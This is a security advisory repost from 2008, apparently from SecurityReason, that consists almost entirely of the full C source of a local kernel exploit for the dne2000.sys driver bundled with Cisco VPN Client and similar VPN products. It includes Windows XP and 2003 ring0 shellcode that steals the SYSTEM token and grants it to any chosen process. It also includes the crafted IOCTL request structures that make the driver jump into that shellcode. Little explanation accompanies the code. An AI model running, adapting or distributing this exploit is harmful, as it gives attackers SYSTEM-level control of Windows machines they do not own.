SecurityReason - Deterministic Network Enhancer dne2000.sys kernel ring0 SYSTEM exploit

Advisory Text :

/* dne2000-call.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Deterministic Network Enhancer (dne2000.sys) local kernel ring0 SYSTEM
exploit
* by mu-b - Sun 06 Jan 2008
*
* - Tested on: dne2000.sys 2.21.7.233 <-> 3.21.7.17464
* bundled with: SafeNET HighAssurance Remote, SoftRemote
* Cisco VPN Client
* Winproxy
*
* Compile: MinGW + -lntdll
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define DNE_IOCTL 0x00222008
#define DNE_FLAG 0x00001005

#define ITEM_FLAG_1 0x4A424F4E
#define ITEM_FLAG_2 0x47554C50
#define FUNC_FLAG 0x00010003

static unsigned char win32_fixup[] =
"\x56";

static unsigned char win2k3_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\xb0\x18\x02\x00\x00"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop */
"\x8b\x98\x94\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x9c\x00\x00\x00"
"\x2d\x98\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xd8\x00\x00\x00"
"\x89\x88\xd8\x00\x00\x00"
"\x90";

static unsigned char winxp_ring0_shell[] =
/* _ring0 */
"\xb8\x24\xf1\xdf\xff"
"\x8b\x00"
"\x8b\x70\x44"
"\x89\xf0"
/* _sys_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x04\x00\x00\x00"
"\x74\x11"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
"\xeb\x21"
/* _sys_eprocess_found */
"\x89\xc1"
"\x89\xf0"

/* _cmd_eprocess_loop */
"\x8b\x98\x84\x00\x00\x00"
"\x81\xfb\x00\x00\x00\x00"
"\x74\x10"
"\x8b\x80\x8c\x00\x00\x00"
"\x2d\x88\x00\x00\x00"
"\x39\xf0"
"\x75\xe3"
/* _not_found */
"\xcc"
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
"\x8b\x89\xc8\x00\x00\x00"
"\x89\x88\xc8\x00\x00\x00"
"\x90";

static unsigned char win32_ret[] =
"\x5e"
"\xc2\x10\x00";

struct ioctl_func {
char _pad[0x04];
int flag;
char __pad[0x2C];
void *func_ptr;
};

struct ioctl_item {
int flag;
char _pad[0x24];
struct ioctl_func *item_func;
struct ioctl_item *item_ptr;
};

struct ioctl_req {
int req_num;
struct ioctl_item *ptr[2];
};

static PCHAR
fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;

dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

if (dwMajorVersion != 5)
{
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}

switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);

case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);

default:
fprintf (stderr, "* GetVersion, unsupported version\n");
exit (EXIT_FAILURE);
}

return (NULL);
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
struct ioctl_item items[2];
struct ioctl_func funcs;
LPVOID zpage, zbuf;
DWORD rlen, zlen, ppid;
HANDLE hFile;
BOOL result;

printf ("Deterministic Network Enhancer (dne2000.sys) local kernel ring0
SYSTEM exploit\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

if (argc <= 1)
{
fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
exit (EXIT_SUCCESS);
}

ppid = atoi (argv[1]);

hFile = CreateFileA ("\\\\.\\DNE", FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
exit (EXIT_FAILURE);
}

zpage = VirtualAlloc (NULL, 0x10000, MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, "* VirtualAlloc failed\n");
exit (EXIT_FAILURE);
}
printf ("* allocated page: 0x%08X [%d-bytes]\n",
zpage, 0x10000);

memset (zpage, 0xCC, 0x10000);
zbuf = fixup_ring0_shell (ppid, &zlen);
memcpy (zpage, win32_fixup, sizeof (win32_fixup) - 1);
memcpy (zpage + sizeof (win32_fixup) - 1, zbuf, zlen);
memcpy (zpage + sizeof (win32_fixup) + zlen - 1,
win32_ret, sizeof (win32_ret) - 1);

memset (&req, 0, sizeof req);
req.req_num = DNE_FLAG;
req.ptr[0] = NULL;
req.ptr[1] = &items[0];

memset (items, 0, sizeof items);
items[0].flag = ITEM_FLAG_1;
items[0].item_ptr = &items[1];

items[1].flag = ITEM_FLAG_2;
items[1].item_func = &funcs;

memset (&funcs, 0, sizeof funcs);
funcs.flag = FUNC_FLAG;
funcs.func_ptr = zpage;

printf ("* req.ptr: 0x%08X\n", &items[0]);
printf ("* @0x%08X: flag: 0x%08X, item_ptr: 0x%08X\n",
&items[0], items[0].flag, items[0].item_ptr);
printf ("* @0x%08X: flag: 0x%08X, item_func: 0x%08X\n",
items[0].item_ptr, items[1].flag, items[1].item_func);
printf ("* @0x%08X: flag: 0x%08X, func_ptr: 0x%08X\n",
items[1].item_func, funcs.flag, funcs.func_ptr);

/* jump to our address :) */
printf ("* jumping.. ");
result = DeviceIoControl (hFile, DNE_IOCTL,
&req, sizeof req, &req, sizeof req, &rlen, 0);
if (!result)
{
fprintf (stderr, "* DeviceIoControl failed\n");
exit (EXIT_FAILURE);
}
printf ("done\n\n"
"* hmmm, you didn't STOP the box?!?!\n");

CloseHandle (hFile);

return (EXIT_SUCCESS);
}